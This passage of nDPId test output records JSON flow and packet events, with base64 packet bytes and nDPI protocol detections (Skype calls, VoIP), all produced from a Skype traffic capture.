+00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.165","src_port":13021,"dst_port":40007,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.141","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.154","src_port":13021,"dst_port":40034,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_id":71,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":56543,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABm9XxAAEAG+dPAqAEi1cezr8N3AbvoukrF6jj3F4AYECw5nwAAAQEICj4i9vlO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00473{"flow_id":112,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":811,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":66703,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXQOtAAEAGGB7AqAEinTeClsOAAbtI+poyuVVQX4AYECxgCwAAAQEICj4i9wNOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00455{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":410701,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLTl4AAEARqNDAqAEiwKgBAeuAADUAN9PqYyoBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00455{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":410891,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLtqQAAEARQIrAqAEiwKgBAeF+ADUAN7bIb04BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":815,"source":"skype.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1431969670418,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":418370,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1a3EAAEARxCLAqAEi1cezkjLdnF4AIe2\/nDICH70PgbauE\/TDe2jJ8Wqi40Tw\/dlcGg=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":815,"source":"skype.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1431969670418,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":816,"source":"skype.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1431969670418,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.32","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":816,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":418371,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4XYMAAEARoWrAqAEib91KIDLdnEkAJPvTnDQCE7A5vpizco713fAfzrDXfyhKHUClX6xRMw=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":816,"source":"skype.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1431969670418,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.32","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00457{"flow_id":65,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":473991,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMASdAAEAGV\/fAqAEinTeCjMN2AbvInJlHrpWZfIAYECw4VQAAAQEICj4i+JpOvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00465{"flow_id":122,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":713987,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABStFVAAEAGpKjAqAEinTeCpsODAbsS3ITHvVXOp4AYECx0KQAAAQEICj4i+YlOrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00483{"flow_id":99,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969670,"pkt_ts_usec":895271,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABddstAAEAG4ibAqAEinTeCp8N9Abt3wuIecQen4YAYECwcVwAAAQEICj4i+j5Oq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00435{"flow_id":113,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":6380,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA80VhAAEAGh7vAqAEinTeCpsOBnFXYqqIiVqVnNYAYEClVHAAAAQEICj4i+q1OrGolRtJrmlCDoq4="} +00438{"flow_id":101,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":300551,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8bcNAAEAG62DAqAEinTeClsN+nEtADbo2Q3FEmYAYECjHhQAAAQEICj4i+9JOt5\/KwFGYWtZyg7g="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":824,"source":"skype.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.141","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":427254,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7f50AAEAR4bnAqAEiQAQXjTLdnEQAJ4UFnDYCwyd8EHi1QBLXs1KZU1iJVh3lwESpNueb3tiaIg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":824,"source":"skype.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.141","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":825,"source":"skype.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.28","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":427254,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ovIAAEAR9aDAqAEiQTffHDLdnFoAKLy9nDgCw\/trQW+yBgre1M\/iGb+xrR1ukS\/k6lR8WrcUGNw="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":825,"source":"skype.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.28","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":826,"source":"skype.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.161","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":427327,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA3g4AAEARUfvAqAEinTfroTLdnEsALJxsnDoCIAhyfiAhHAGT2pPsDhuBxLXCl+D8eTQt2\/ZTx9MpLSju"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":826,"source":"skype.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.161","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00525{"flow_id":64,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":827,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":841809,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB684hAAEAGr0nAqAEinTc4qsN1AbtlArNVviBnW4AYECzChgAAAQEICj4i\/e9Nea82lrtEvF7Syi3sYudbWmm1LLmltdXITy9EZvRGZ4\/xmZ+XSmldmKNIhY33FGOH7bkZm8kH56oaXL6ossqblsc6QCTpmqw22A=="} +00678{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":828,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969671,"pkt_ts_usec":883043,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtolVAAEAGnHfAqAEiF84hpsNtAbuewXpuGKHN44AYECyK2AAAAQEICj4i\/hjsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00466{"flow_id":122,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":829,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":261205,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABSOtRAAEAGHirAqAEinTeCpsODAbsS3ITHvVXOp4AYECxuIAAAAQEICj4i\/5JOrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00424{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":830,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WO1AAEAGTqjAqAEinTg0LMNwnGCx3l+0HyRlkIARECkilgAAAQEICj4jAHVMZC+5"} +00424{"flow_id":63,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0H5FAAEAGiATAqAEinTg0LMN0AbuAxvPx3A2f1IARECxhTwAAAQEICj4jAHVMZDFL"} +00424{"flow_id":50,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489135,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA026tAAEAGx2zAqAEinTc4qsNxnE+r6BLMPu7rjYARECpMQAAAAQEICj4jAHVNea2i"} +00424{"flow_id":64,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":833,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489136,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0LphAAEAGdIDAqAEinTc4qsN1AbtlArObviBnW4ARECyQUQAAAQEICj4jAHVNea82"} +00425{"flow_id":51,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":834,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489205,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0AexAAEAGV0rAqAEinTeCjMNynGH\/hzYLZw7DuIAREClCdQAAAQEICj4jAHVOvfUL"} +00424{"flow_id":65,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":835,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489205,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0mkVAAEAGvvDAqAEinTeCjMN2AbvInJlfrpWZfIARECyRzgAAAQEICj4jAHVOvfad"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":836,"source":"skype.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1431969672489,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.144","src_port":13021,"dst_port":40034,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":836,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489344,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0NOAAAEARZEfAqAEinTeCkDLdnGIAINainDwChxJXV87XhkbitLg+A\/cA051ANFNY"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":836,"source":"skype.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1431969672489,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.144","src_port":13021,"dst_port":40034,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":837,"source":"skype.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1431969672489,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.19","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":837,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":489344,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2EcMAAEAR7TnAqAEib91KEzLdnEEAItfhnD4Cb3aeHJFamREFARmu+jDLOabt8VoC3Pk="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":837,"source":"skype.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1431969672489,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.19","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_id":112,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":838,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":767407,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABX+H1AAEAGYIvAqAEinTeClsOAAbtI+poyuVVQX4AYECxVgwAAAQEICj4jAYtOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00437{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":839,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969672,"pkt_ts_usec":917592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8JB1AAEAGy13AqAEi1cezr8NznFXnJeT4bf1jqoAYECqxxgAAAQEICj4jAiFO2zlegPUYPB\/96j4="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":841,"source":"skype.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":50053,"dst_port":40030,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":841,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":443345,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAbK1AAEAGNnfAqAEinTc4ksOFnF5LaK4QAAAAALAC\/\/8DvAAAAgQFtAEDAwUBAQgKPiMELQAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":842,"source":"skype.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.153","src_port":50054,"dst_port":40005,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":842,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":443587,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAVldAAEAGAsbAqAEinTeCmcOGnEV7WkqhAAAAALAC\/\/\/tSQAAAgQFtAEDAwUBAQgKPiMELQAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":843,"source":"skype.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.47","src_port":50055,"dst_port":40030,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":843,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969673,"pkt_ts_usec":443716,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA3dtAAEAG4QXAqAEib91KL8OHnF60mgT1AAAAALAC\/\/9fYAAAAgQFtAEDAwUBAQgKPiMELQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":844,"source":"skype.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.173","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 